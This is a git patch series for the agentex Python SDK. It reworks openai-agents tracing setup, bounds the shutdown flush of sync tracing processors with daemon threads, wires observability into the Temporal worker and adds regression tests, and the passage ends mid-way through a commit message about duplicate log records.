a/src/agentex/lib/cli/templates/sync-openai-agents/project/acp.py.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/project/acp.py.j2 index 41029f2ce..07849e81d 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/project/acp.py.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/project/acp.py.j2 @@ -13,12 +13,19 @@ from agentex.types.task_message_update import TaskMessageUpdate, StreamTaskMessa from agentex.types.task_message_content import TaskMessageContent from agentex.types.text_content import TextContent from agentex.lib.utils.logging import make_logger -from agents import Agent, Runner, RunConfig, function_tool, set_tracing_disabled - -# Disable the openai-agents SDK's native tracer so it doesn't ship traces to -# api.openai.com using OPENAI_API_KEY (which may be a LiteLLM proxy key). -# SGP tracing below still runs via the Agentex tracing manager. -set_tracing_disabled(True) +from agents import Agent, Runner, RunConfig, function_tool, set_trace_processors + +# Drop the openai-agents SDK's own exporter, so it can't ship traces to +# api.openai.com using OPENAI_API_KEY (which may be a gateway/proxy key and would 401). +# +# Clearing the processor list rather than disabling tracing outright: disabling stops +# spans being produced AT ALL, which silently starves any processor added later — +# including the sgp-obs bridge the SDK installs when observability is on, so a Runner +# turn would contribute no model spans. Clearing instead removes the OpenAI exporter +# (which otherwise stays registered and is merely never fed) while leaving the +# machinery alive for the bridge to attach to. +# Agentex/SGP tracing still runs via the tracing manager. +set_trace_processors([]) logger = make_logger(__name__) diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/project/workflow.py.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/project/workflow.py.j2 index af8b7a299..1b2ae547c 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/project/workflow.py.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/project/workflow.py.j2 @@ -10,12 +10,19 @@ from agentex.lib.core.temporal.types.workflow import SignalName from agentex.lib.utils.logging import make_logger from agentex.types.text_content import TextContent from agentex.lib.environment_variables import EnvironmentVariables -from agents import Agent, Runner, set_tracing_disabled - -# Disable the openai-agents SDK's native tracer so it doesn't ship traces to -# api.openai.com using OPENAI_API_KEY (which may be a LiteLLM proxy key). -# SGP tracing below still runs via the Agentex tracing manager. -set_tracing_disabled(True) +from agents import Agent, Runner, set_trace_processors + +# Drop the openai-agents SDK's own exporter, so it can't ship traces to +# api.openai.com using OPENAI_API_KEY (which may be a gateway/proxy key and would 401). +# +# Clearing the processor list rather than disabling tracing outright: disabling stops +# spans being produced AT ALL, which silently starves any processor added later — +# including the sgp-obs bridge the SDK installs when observability is on, so a Runner +# turn would contribute no model spans. Clearing instead removes the OpenAI exporter +# (which otherwise stays registered and is merely never fed) while leaving the +# machinery alive for the bridge to attach to. +# Agentex/SGP tracing still runs via the tracing manager. +set_trace_processors([]) from agentex.lib.core.temporal.plugins.openai_agents.hooks.hooks import TemporalStreamingHooks from pydantic import BaseModel diff --git a/src/agentex/lib/cli/tests/__init__.py b/src/agentex/lib/cli/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/agentex/lib/cli/tests/test_template_tracing.py b/src/agentex/lib/cli/tests/test_template_tracing.py new file mode 100644 index 000000000..adb76fd08 --- /dev/null +++ b/src/agentex/lib/cli/tests/test_template_tracing.py @@ -0,0 +1,57 @@ +"""The openai-agents scaffolds must not disable tracing outright. + +`set_tracing_disabled(True)` stops openai-agents producing spans AT ALL, which +silently starves any processor registered later — including the sgp-obs bridge the SDK +installs when observability is on. The bridge still reports itself installed, so a +Runner turn contributes no model spans and nothing says why. + +Measured against a spy processor: + + set_tracing_disabled(True) -> processors ['BatchTraceProcessor', 'Spy'], spy saw 0 + set_trace_processors([]) -> processors ['Spy'], spy saw 1 + +Note the first row: disabling tracing leaves the OpenAI exporter REGISTERED, merely +never fed. Clearing the list actually removes it, so the replacement is strictly better +at the thing the original was trying to do — keep traces away from api.openai.com. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +TEMPLATES = Path(__file__).resolve().parents[1] / "templates" + + +def _templates_using_agents_tracing() -> list[Path]: + return sorted( + p for p in TEMPLATES.rglob("*.j2") if "set_trace_processors" in p.read_text() + ) + + +def test_some_templates_were_found(): + """Guards the glob itself: if the templates move, the assertions below would + vacuously pass on an empty list.""" + assert _templates_using_agents_tracing(), f"no templates found under {TEMPLATES}" + + +@pytest.mark.parametrize( + "template", _templates_using_agents_tracing(), ids=lambda p: p.parent.parent.name +) +class TestOpenAIAgentsScaffolds: + def test_does_not_disable_tracing(self, template: Path): + text = template.read_text() + assert "set_tracing_disabled(" not in text, ( + f"{template} disables openai-agents tracing, which starves the sgp-obs bridge" + ) + + def test_clears_the_processor_list_instead(self, template: Path): + assert "set_trace_processors([])" in template.read_text() + + def test_imports_what_it_calls(self, template: Path): + text = template.read_text() + assert "set_trace_processors" in text.split("\n\n")[0] or any( + "import" in line and "set_trace_processors" in line + for line in text.splitlines() + ), f"{template} calls set_trace_processors without importing it" diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py index 3cab45cd0..83f779a81 100644 --- a/src/agentex/lib/core/observability/sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -176,6 +176,7 @@ def _install_openai_agents_bridge() -> bool: installed = bool(install_openai_agents_bridge()) if installed: logger.debug("sgp-obs openai-agents bridge installed") + _warn_if_openai_agents_tracing_disabled() else: # Only reachable if `agents` is not importable, which should not happen # while openai-agents is a hard dependency — so say so rather than shrug. @@ -189,6 +190,37 @@ def _install_openai_agents_bridge() -> bool: return False +def _warn_if_openai_agents_tracing_disabled() -> None: + """Warn when the bridge is installed but openai-agents tracing is switched off. + + ``install_openai_agents_bridge()`` returns True as soon as it registers itself as a + trace processor — it cannot tell whether the provider will ever feed it. If the + agent called ``set_tracing_disabled(True)``, no spans are produced at all, so the + bridge is registered and permanently idle, and nothing says so. + + That is not hypothetical: it is what the openai-agents scaffolds used to do, so + agents generated before this change carry it. Those scaffolds now clear the + processor list instead, which removes the OpenAI exporter (the thing they were + actually trying to avoid) while leaving spans flowing to the bridge. + + Reads a private attribute, so it is fully guarded: a diagnostic must never be the + reason startup fails, and if upstream renames it we simply stop warning. + """ + try: + from agents.tracing import get_trace_provider + + if getattr(get_trace_provider(), "_disabled", False): + logger.warning( + "The sgp-obs openai-agents bridge is installed but openai-agents " + "tracing is disabled, so Runner turns will produce no model spans. " + "Replace set_tracing_disabled(True) with set_trace_processors([]): " + "that still stops traces reaching api.openai.com, but keeps spans " + "flowing to the bridge." + ) + except Exception: # pragma: no cover - a diagnostic must never break startup + logger.debug("could not determine openai-agents tracing state", exc_info=True) + + def _warn_if_correlation_backend_mismatched() -> None: """Warn when sgp-obs is exporting OTel traces but the SDK's business-span correlation is still reading ddtrace. diff --git a/src/agentex/lib/core/temporal/workers/worker.py b/src/agentex/lib/core/temporal/workers/worker.py index 9f0aa2da3..0dd996bce 100644 --- a/src/agentex/lib/core/temporal/workers/worker.py +++ b/src/agentex/lib/core/temporal/workers/worker.py @@ -32,6 +32,8 @@ from agentex.lib.core.tracing.temporal import temporal_tracing_interceptors from agentex.lib.environment_variables import EnvironmentVariables from agentex.lib.core.compat.version_guard import assert_backend_compatible +from agentex.lib.core.observability.sgp_obs_setup import init_sgp_obs, shutdown_sgp_obs +from agentex.lib.core.tracing.tracing_processor_manager import shutdown_sync_tracing_processors logger = make_logger(__name__) @@ -220,6 +222,18 @@ async def run( workflow: type | None = None, workflows: list[type] | None = None, ): + # A Temporal agent runs its model calls HERE, in a separate process from the + # ACP server, and this process never constructs a BaseACPServer — so without + # this call an agent that installed sgp-obs and set the documented environment + # would still get no metrics, traces or structured logs from its worker, which + # is where the interesting work happens. + # + # No `app=`: there is no ASGI application in this process. The health-check + # server is aiohttp, which sgp-obs' ASGI middleware does not apply to, so the + # worker contributes model and egress telemetry but no http.server.* — correct, + # since nothing here serves agent traffic. + init_sgp_obs() + await self.start_health_check_server() await self._register_agent() @@ -265,7 +279,14 @@ async def run( # Eagerly set the worker status to healthy self.healthy = True logger.info(f"Running workers for task queue: {self.task_queue}") - await worker.run() + try: + await worker.run() + finally: + # Same drains as the ACP lifespan, for the same reason: whatever is still + # queued when the pod stops is otherwise dropped. Both are bounded and + # fail-open, so neither can stop the worker exiting. + await shutdown_sync_tracing_processors() + await shutdown_sgp_obs() async def _health_check(self): return web.json_response(self.healthy) diff --git a/src/agentex/lib/core/tracing/tracing_processor_manager.py b/src/agentex/lib/core/tracing/tracing_processor_manager.py index 07c440313..97a998a8e 100644 --- a/src/agentex/lib/core/tracing/tracing_processor_manager.py +++ b/src/agentex/lib/core/tracing/tracing_processor_manager.py @@ -1,5 +1,7 @@ from __future__ import annotations +import asyncio +import logging from typing import TYPE_CHECKING from threading import Lock @@ -78,3 +80,72 @@ def get_sync_tracing_processors(): def get_async_tracing_processors(): return GLOBAL_TRACING_PROCESSOR_MANAGER.get_async_processors() + + +_logger = logging.getLogger(__name__) + +# Total wall-clock budget for draining every sync tracing processor. A pod's +# terminationGracePeriodSeconds (30s by default) is shared with the OTel flush that +# follows this, so the drain takes a small slice of it. +SYNC_TRACING_SHUTDOWN_BUDGET_S = 5.0 + + +async def shutdown_sync_tracing_processors( + budget_s: float = SYNC_TRACING_SHUTDOWN_BUDGET_S, +) -> None: + """Drain the sync tracing processors' queues at shutdown. Never raises. + + Nothing used to call this. The ACP lifespan drained ``shutdown_default_span_queue``, + which is the ASYNC path only, so a sync agent dropped whatever business spans were + still queued when the pod stopped. That matters beyond the lost spans: the business + span is what an obs span's ``agentex.business_trace_id`` resolves to, so losing it + breaks the pivot from Tempo back to the SGP store. + + Off the event loop and on a deadline, both deliberately. + ``SGPSyncTracingProcessor.shutdown`` calls ``flush_queue()``, a BLOCKING HTTP flush + with retries. Calling it inline would stall the caller's loop, so a slow or + unreachable collector could burn the whole termination grace period and stop the + OTel flush that runs after it — trading a few business spans for all of the OTel + ones. Each processor runs in a worker thread, and the budget is shared across all + of them so one stalled export cannot starve the rest. + + A timed-out flush leaks its thread until the process exits. Accepted: this runs + only during shutdown, and the alternative is blocking on it. + + Lives here rather than in the ACP server because both entry points need it — the + ACP server AND the Temporal worker, which runs in its own process. + """ + try: + processors = get_sync_tracing_processors() + except Exception: # pragma: no cover - nothing to drain + _logger.debug("sync tracing processors unavailable at shutdown", exc_info=True) + return + + loop = asyncio.get_running_loop() + deadline = loop.time() + budget_s + + for processor in processors: + remaining = deadline - loop.time() + if remaining <= 0: + _logger.warning( + "sync tracing shutdown budget of %.1fs exhausted; %s and any after it " + "were not flushed and their business spans are lost", + budget_s, + type(processor).__name__, + ) + break + try: + await asyncio.wait_for(asyncio.to_thread(processor.shutdown), remaining) + except (TimeoutError, asyncio.TimeoutError): + _logger.warning( + "%s did not flush within the remaining %.1fs; its business spans are " + "lost, but shutdown continues", + type(processor).__name__, + remaining, + ) + except Exception: # noqa: PERF203 - one bad processor must not block the rest + _logger.warning( + "a sync tracing processor failed to flush on shutdown; " + "some business spans may be lost", + exc_info=True, + ) diff --git a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py index 35f79cbdc..06bc2595c 100644 --- a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py +++ b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py @@ -40,6 +40,7 @@ FASTACP_HEADER_SKIP_PREFIXES, ) from agentex.lib.core.observability.sgp_obs_setup import init_sgp_obs, shutdown_sgp_obs +from agentex.lib.core.tracing.tracing_processor_manager import shutdown_sync_tracing_processors logger = make_logger(__name__) @@ -119,40 +120,6 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: _detach_otel_context(otel_token) -def _shutdown_sync_tracing_processors() -> None: - """Drain the sync tracing processors' queues at shutdown. Never raises. - - ``shutdown_default_span_queue`` covers the async path only. The sync processors - keep their own queue and nothing in the SDK ever shut them down, so a sync ACP - agent dropped whatever business spans were still queued when the pod stopped. - That matters beyond the lost spans: the business span is what an obs span's - ``agentex.business_trace_id`` resolves to, so losing it breaks the pivot from - Tempo back to the SGP store. - - Each processor is isolated: one that hangs or raises must not stop the others, - and none of them may stop the pod from shutting down. - """ - try: - from agentex.lib.core.tracing.tracing_processor_manager import ( - get_sync_tracing_processors, - ) - - processors = get_sync_tracing_processors() - except Exception: # pragma: no cover - nothing to drain if this can't import - logger.debug("sync tracing processors unavailable at shutdown", exc_info=True) - return - - for processor in processors: - try: - processor.shutdown() - except Exception: # noqa: PERF203 - one bad processor must not block the rest - logger.warning( - "a sync tracing processor failed to flush on shutdown; " - "some business spans may be lost", - exc_info=True, - ) - - class BaseACPServer(FastAPI): """ AsyncAgentACP provides RPC-style hooks for agent events and commands asynchronously. @@ -229,7 +196,7 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 # hold their own queue and nothing ever drained it, so a sync ACP # agent lost whatever business spans were still queued when the pod # stopped — including the ones the obs correlation points at. - _shutdown_sync_tracing_processors() + await shutdown_sync_tracing_processors() # Flush whatever sgp-obs still holds. A periodic exporter's buffer # is otherwise dropped when the pod stops, which for a short-lived # or scaled-to-zero agent can be most of what it recorded. No-op diff --git a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py index 6aaea600f..70e241256 100644 --- a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py +++ b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py @@ -11,7 +11,9 @@ from __future__ import annotations from agentex.lib.sdk.fastacp.base import base_acp_server -from agentex.lib.sdk.fastacp.base.base_acp_server import _shutdown_sync_tracing_processors +from agentex.lib.core.tracing.tracing_processor_manager import ( + shutdown_sync_tracing_processors, +) class _Processor: @@ -32,25 +34,25 @@ def _patch_processors(monkeypatch, processors): class TestSyncProcessorDrain: - def test_every_processor_is_flushed(self, monkeypatch): + async def test_every_processor_is_flushed(self, monkeypatch): a, b = _Processor(), _Processor() _patch_processors(monkeypatch, [a, b]) - _shutdown_sync_tracing_processors() + await shutdown_sync_tracing_processors() assert (a.calls, b.calls) == (1, 1) - def test_one_failure_does_not_stop_the_others(self, monkeypatch): + async def test_one_failure_does_not_stop_the_others(self, monkeypatch): """A processor that hangs or raises must not strand the spans held by the ones after it in the list.""" bad, good = _Processor(explode=True), _Processor() _patch_processors(monkeypatch, [bad, good]) - _shutdown_sync_tracing_processors() + await shutdown_sync_tracing_processors() assert good.calls == 1 - def test_no_processors_is_a_no_op(self, monkeypatch): + async def test_no_processors_is_a_no_op(self, monkeypatch): _patch_processors(monkeypatch, []) - _shutdown_sync_tracing_processors() # must not raise + await shutdown_sync_tracing_processors() # must not raise - def test_an_unimportable_manager_does_not_fail_shutdown(self, monkeypatch): + async def test_an_unimportable_manager_does_not_fail_shutdown(self, monkeypatch): """Nothing here may stop the pod from shutting down.""" import builtins @@ -62,12 +64,102 @@ def blocked(name, *args, **kwargs): return real_import(name, *args, **kwargs) monkeypatch.setattr(builtins, "__import__", blocked) - _shutdown_sync_tracing_processors() # must not raise + await shutdown_sync_tracing_processors() # must not raise def test_the_lifespan_calls_it(self): """Pin the wiring, not just the helper: a drain nothing calls is worthless.""" import inspect source = inspect.getsource(base_acp_server.BaseACPServer.get_lifespan_function) - assert "_shutdown_sync_tracing_processors()" in source + assert "shutdown_sync_tracing_processors()" in source assert "shutdown_sgp_obs()" in source + + +class TestTheDrainIsBounded: + """`SGPSyncTracingProcessor.shutdown` does a BLOCKING HTTP flush with retries. If + the drain waited on it inline and without a limit, a slow or unreachable collector + would burn the pod's whole termination grace period and the OTel flush that runs + after it would never happen — trading a few business spans for all of the OTel ones. + """ + + async def test_a_stalled_processor_does_not_hang_shutdown(self, monkeypatch): + import time + import asyncio + + class Stalled: + def shutdown(self): + time.sleep(2) # blocking, like a retrying HTTP flush + + _patch_processors(monkeypatch, [Stalled()]) + started = asyncio.get_running_loop().time() + await shutdown_sync_tracing_processors(budget_s=0.25) + elapsed = asyncio.get_running_loop().time() - started + assert elapsed < 1, f"drain took {elapsed:.1f}s against a 0.25s budget" + + async def test_the_budget_is_shared_so_a_stall_cannot_starve_the_rest(self, monkeypatch): + """A shared deadline means the drain as a whole is bounded, not each processor + separately — N stalled processors must not cost N * budget.""" + import time + import asyncio + + class Stalled: + def shutdown(self): + time.sleep(2) + + _patch_processors(monkeypatch, [Stalled(), Stalled(), Stalled()]) + started = asyncio.get_running_loop().time() + await shutdown_sync_tracing_processors(budget_s=0.25) + elapsed = asyncio.get_running_loop().time() - started + assert elapsed < 1, f"drain took {elapsed:.1f}s for 3 stalled processors" + + async def test_it_does_not_block_the_event_loop(self, monkeypatch): + """The flush must run off-loop: other lifespan work has to keep progressing + while a processor is stuck.""" + import time + import asyncio + + class Stalled: + def shutdown(self): + time.sleep(2) + + _patch_processors(monkeypatch, [Stalled()]) + ticks = 0 + + async def heartbeat(): + nonlocal ticks + while True: + await asyncio.sleep(0.01) + ticks += 1 + + beat = asyncio.create_task(heartbeat()) + await shutdown_sync_tracing_processors(budget_s=0.25) + beat.cancel() + assert ticks > 0, "the event loop was blocked during the drain" + + +class TestTheTemporalWorkerIsWiredToo: + """A Temporal agent runs its model calls in the worker process, which never + constructs a BaseACPServer. Without its own init the documented environment leaves + that process — the one doing the interesting work — completely unwired. + """ + + def test_the_worker_inits_and_drains(self): + import inspect + + from agentex.lib.core.temporal.workers.worker import AgentexWorker + + source = inspect.getsource(AgentexWorker.run) + assert "init_sgp_obs()" in source + assert "shutdown_sgp_obs()" in source + assert "shutdown_sync_tracing_processors()" in source + + def test_the_worker_does_not_pass_an_app(self): + """There is no ASGI application in the worker process. The health-check server + is aiohttp, which sgp-obs' ASGI middleware does not apply to, so passing it + would be wrong rather than merely useless.""" + import inspect + + from agentex.lib.core.temporal.workers.worker import AgentexWorker + + source = inspect.getsource(AgentexWorker.run) + assert "init_sgp_obs(app=" not in source From eb64fa22a5b35221a2207d26dd543c2b6a01491a Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Mon, 14 Sep 2026 15:08:44 -0700 Subject: [PATCH 13/15] fix(tracing): flush on daemon threads, concurrently, so the budget is real MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses the three follow-up review comments on #518. The first one invalidates the claim the previous commit made. 1. The budget did not bound what it promised `asyncio.wait_for` stops AWAITING a thread; it cannot stop the thread. And `asyncio.run` calls `loop.shutdown_default_executor()`, which JOINS the default executor — a private ThreadPoolExecutor is joined at interpreter exit too, via its atexit hook. So a timed-out `asyncio.to_thread` flush left the process blocked on the very export the deadline existed to escape. I had documented the leaked thread as acceptable; the part I missed is that it is not merely leaked, it delays shutdown. Measured, 10s stalled flush under a 0.25s budget: asyncio.to_thread drain returned 0.25s, process exited 10.01s daemon thread drain returned 0.25s, process exited 0.25s Flushes now run on `threading.Thread(daemon=True)`, which the interpreter abandons at exit. That is what the budget was always supposed to mean. 2. A stalled processor starved the ones after it The drain was sequential under a shared deadline, so the first stalled processor spent the whole budget and every processor behind it was skipped even when it would have returned instantly. All flushes now start at once and share one deadline; the timeout message names whichever are still running. 3. A test that tested nothing `test_an_unimportable_manager_does_not_fail_shutdown` blocked the import of `tracing_processor_manager` — which stopped mattering when the drain moved INTO that module, since it now reads `get_sync_tracing_processors` as a module global. The import never ran and the `except` branch was never reached. It now makes the lookup itself raise. Both new tests were checked against the OLD implementation and fail there — the subprocess one times out at 30s, and the fast processor is starved — so they are regression guards rather than another pair that passes either way. The process-exit one runs in a subprocess deliberately: interpreter shutdown cannot be observed from inside the test process. 119 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. Co-Authored-By: Claude Opus 5 --- .../core/tracing/tracing_processor_manager.py | 99 +++++++++++------ .../fastacp/base/tests/test_shutdown_hooks.py | 102 ++++++++++++++++-- 2 files changed, 159 insertions(+), 42 deletions(-) diff --git a/src/agentex/lib/core/tracing/tracing_processor_manager.py b/src/agentex/lib/core/tracing/tracing_processor_manager.py index 97a998a8e..5227e891c 100644 --- a/src/agentex/lib/core/tracing/tracing_processor_manager.py +++ b/src/agentex/lib/core/tracing/tracing_processor_manager.py @@ -2,6 +2,7 @@ import asyncio import logging +import threading from typing import TYPE_CHECKING from threading import Lock @@ -101,19 +102,26 @@ async def shutdown_sync_tracing_processors( span is what an obs span's ``agentex.business_trace_id`` resolves to, so losing it breaks the pivot from Tempo back to the SGP store. - Off the event loop and on a deadline, both deliberately. ``SGPSyncTracingProcessor.shutdown`` calls ``flush_queue()``, a BLOCKING HTTP flush - with retries. Calling it inline would stall the caller's loop, so a slow or - unreachable collector could burn the whole termination grace period and stop the - OTel flush that runs after it — trading a few business spans for all of the OTel - ones. Each processor runs in a worker thread, and the budget is shared across all - of them so one stalled export cannot starve the rest. - - A timed-out flush leaks its thread until the process exits. Accepted: this runs - only during shutdown, and the alternative is blocking on it. - - Lives here rather than in the ACP server because both entry points need it — the - ACP server AND the Temporal worker, which runs in its own process. + with retries, so three properties have to hold at once: + + **Off the calling loop.** Awaiting it inline stalls the lifespan, so a slow + collector could burn the pod's whole termination grace period and stop the OTel + flush that runs after this — trading a few business spans for all of the OTel ones. + + **Concurrent.** Every processor is started at once and they share one deadline. A + sequential loop would let the first stalled processor spend the entire budget, so + later processors were skipped even when they would have finished instantly. + + **On DAEMON threads, not the default executor.** This is the subtle one. + ``asyncio.wait_for`` stops *awaiting* a thread; it cannot stop the thread. And + ``asyncio.run`` calls ``loop.shutdown_default_executor()``, which JOINS the default + executor — as does a private ``ThreadPoolExecutor``, via its atexit hook. So a + timed-out ``asyncio.to_thread`` flush leaves the process blocked on the very export + the deadline was meant to escape. Measured: a 10s stalled flush under a 0.25s budget + returns in 0.25s but the process exits at 10.0s with ``to_thread``, and at 0.25s on + a daemon thread. A daemon thread is abandoned at interpreter exit, which is what the + budget promises. """ try: processors = get_sync_tracing_processors() @@ -121,31 +129,56 @@ async def shutdown_sync_tracing_processors( _logger.debug("sync tracing processors unavailable at shutdown", exc_info=True) return + if not processors: + return + loop = asyncio.get_running_loop() - deadline = loop.time() + budget_s + finished: list[threading.Event] = [] + all_done = asyncio.Event() - for processor in processors: - remaining = deadline - loop.time() - if remaining <= 0: - _logger.warning( - "sync tracing shutdown budget of %.1fs exhausted; %s and any after it " - "were not flushed and their business spans are lost", - budget_s, - type(processor).__name__, - ) - break + def _note_finished() -> None: + if all(event.is_set() for event in finished): + all_done.set() + + def _flush(processor: SyncTracingProcessor, event: threading.Event) -> None: try: - await asyncio.wait_for(asyncio.to_thread(processor.shutdown), remaining) - except (TimeoutError, asyncio.TimeoutError): + processor.shutdown() + except Exception: _logger.warning( - "%s did not flush within the remaining %.1fs; its business spans are " - "lost, but shutdown continues", + "%s raised while flushing on shutdown; some business spans may be lost", type(processor).__name__, - remaining, - ) - except Exception: # noqa: PERF203 - one bad processor must not block the rest - _logger.warning( - "a sync tracing processor failed to flush on shutdown; " - "some business spans may be lost", exc_info=True, ) + finally: + event.set() + # The loop may already be closed if we timed out and shutdown raced ahead; + # abandoning the notification is fine, nobody is waiting on it any more. + try: + loop.call_soon_threadsafe(_note_finished) + except RuntimeError: # pragma: no cover - loop already closed + pass + + for index, processor in enumerate(processors): + event = threading.Event() + finished.append(event) + threading.Thread( + target=_flush, + args=(processor, event), + daemon=True, + name=f"agentex-span-flush-{index}", + ).start() + + try: + await asyncio.wait_for(all_done.wait(), budget_s) + except (TimeoutError, asyncio.TimeoutError): + stalled = [ + type(processor).__name__ + for processor, event in zip(processors, finished) + if not event.is_set() + ] + _logger.warning( + "sync tracing shutdown budget of %.1fs expired with %s still flushing; " + "their business spans are lost, but shutdown continues", + budget_s, + ", ".join(stalled) or "unknown processors", + ) diff --git a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py index 70e241256..778b8d806 100644 --- a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py +++ b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py @@ -52,18 +52,19 @@ async def test_no_processors_is_a_no_op(self, monkeypatch): _patch_processors(monkeypatch, []) await shutdown_sync_tracing_processors() # must not raise - async def test_an_unimportable_manager_does_not_fail_shutdown(self, monkeypatch): - """Nothing here may stop the pod from shutting down.""" - import builtins + async def test_an_unreadable_processor_list_does_not_fail_shutdown(self, monkeypatch): + """Nothing here may stop the pod from shutting down. - real_import = builtins.__import__ + This used to block the import of ``tracing_processor_manager``, which tested + nothing once the drain moved INTO that module: it reads + ``get_sync_tracing_processors`` as a module global, so the import never runs and + the ``except`` branch was never reached. Make the lookup itself raise instead.""" + import agentex.lib.core.tracing.tracing_processor_manager as mgr - def blocked(name, *args, **kwargs): - if "tracing_processor_manager" in name: - raise ImportError("boom") - return real_import(name, *args, **kwargs) + def boom(): + raise RuntimeError("processor registry unavailable") - monkeypatch.setattr(builtins, "__import__", blocked) + monkeypatch.setattr(mgr, "get_sync_tracing_processors", boom) await shutdown_sync_tracing_processors() # must not raise def test_the_lifespan_calls_it(self): @@ -163,3 +164,86 @@ def test_the_worker_does_not_pass_an_app(self): source = inspect.getsource(AgentexWorker.run) assert "init_sgp_obs(app=" not in source + + +class TestConcurrencyAndProcessExit: + """Two properties the budget only really has if these hold.""" + + async def test_a_fast_processor_finishes_even_when_another_stalls(self, monkeypatch): + """Flushes start concurrently under ONE shared deadline. Draining them in + sequence let the first stalled processor spend the whole budget, so every + processor after it was skipped even when it would have returned instantly.""" + import time + + class Stalled: + def shutdown(self): + time.sleep(2) + + class Fast: + def __init__(self): + self.flushed = False + + def shutdown(self): + self.flushed = True + + fast = Fast() + # Stalled FIRST: in a sequential drain it would eat the budget and `fast` + # would never be asked. + _patch_processors(monkeypatch, [Stalled(), fast]) + await shutdown_sync_tracing_processors(budget_s=0.5) + assert fast.flushed, "a fast processor was starved by a stalled one" + + def test_a_stalled_flush_does_not_delay_process_exit(self): + """The property the deadline actually promises, and the one it did NOT have. + + `asyncio.wait_for` stops awaiting a thread; it cannot stop the thread. And + `asyncio.run` joins the default executor on the way out (as does a private + ThreadPoolExecutor, via its atexit hook), so a timed-out `asyncio.to_thread` + flush left the process blocked on the very export the budget was meant to + escape — measured at 10.0s against a 0.25s budget. Daemon threads are abandoned + at interpreter exit, which is what the budget promises. + + A subprocess, because this is about interpreter shutdown: it cannot be observed + from inside the test process. + """ + import os + import sys + import time + import textwrap + import subprocess + from pathlib import Path + + # tests/base/fastacp/sdk/lib/agentex/src -> parents[6] is the src root. + src = Path(__file__).resolve().parents[6] + program = textwrap.dedent( + """ + import asyncio, sys, time + from agentex.lib.core.tracing.tracing_processor_manager import ( + shutdown_sync_tracing_processors, + ) + import agentex.lib.core.tracing.tracing_processor_manager as mgr + + class Stalled: + def shutdown(self): + time.sleep(30) + + mgr.get_sync_tracing_processors = lambda: [Stalled()] + asyncio.run(shutdown_sync_tracing_processors(budget_s=0.25)) + """ + ) + started = time.monotonic() + proc = subprocess.run( + [sys.executable, "-c", program], + capture_output=True, + text=True, + timeout=30, + # Inherit the environment: replacing it wholesale breaks the + # interpreter's own bootstrap before the test can run. + env={**os.environ, "PYTHONPATH": str(src)}, + ) + elapsed = time.monotonic() - started + assert proc.returncode == 0, proc.stderr[-2000:] + assert elapsed < 10, ( + f"process took {elapsed:.1f}s to exit with a 30s stalled flush and a " + "0.25s budget; the flush thread is blocking interpreter shutdown" + ) From 0b2520d593d2d98702daf7025a42175b8ca337b5 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Mon, 14 Sep 2026 15:42:13 -0700 Subject: [PATCH 14/15] fix(logging): stop agentex printing a second, ungoverned copy of every record MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit With the logs signal on, every record appeared twice. Measured against the real sgp-obs 0.16.0 pipeline, one logger.info(): 2026-09-14 15:41:11,150 INFO [agentex.lib.probe.before] ... - MARKER-BEFORE {"time": "...", "logger": "agentex.lib.probe.before", "message": "MARKER-BEFORE", ...} Two components, each individually correct. make_logger attaches a handler to each module's OWN (leaf) logger. sgp-obs' pipeline replaces the handlers on the ROOT logger and deliberately leaves named loggers alone, because a named logger's handler may be there on purpose — it warns instead, and its boot warning names them: "bypass log governance (clear them or pass capture_loggers): ... agentex.lib.adk._mod...". A record propagates from leaf to root, so both handlers print it. The duplicate is not merely redundant. It is emitted before the pipeline's filters, so it carries no agent_id/task_id, is not governed by the allowlist, and is not truncated — the plain-text copy is exactly the one that could leak a field the allowlist exists to drop. The fix is two halves, and both are needed: route_agentex_loggers_to_root() clears loggers that ALREADY exist _ROOT_PIPELINE_OWNS_LOGGING stops make_logger attaching to ones created LATER A sweep alone misses the second half: agentex imports several harness modules lazily (_claude_code_sync, _codex_sync, _pydantic_ai_sync among them), so their make_logger runs after init and would attach a fresh duplicate. Measured before/after, a logger created pre-init and one created post-init: sweep only fixes the first; both together fix both. sgp-obs' own capture_loggers= is deliberately NOT the mechanism. It matches EXACT logger names, not prefixes — passing ("agentex",) still produced two lines, because the handlers live on the leaves and logging.getLogger("agentex") is an empty intermediate node — so it would mean enumerating ~60 module paths that go stale on any rename. And passing anything at all replaces its uvicorn default, putting uvicorn's access log back to printing twice. Narrow by construction. Only agentex's own loggers are touched, so litellm's three keep whatever they have. A non-propagating agentex logger is skipped too: it is cut off from root on purpose, and clearing its handlers would send its records NOWHERE, which is worse than a duplicate. Handlers are flushed before removal so a buffering one loses nothing. The no-sgp-obs path is byte-identical: the latch is only ever set from init_sgp_obs after sgp_obs.init() returns a logs handle, and a test pins that make_logger still attaches when nothing owns the root. Verified against the real 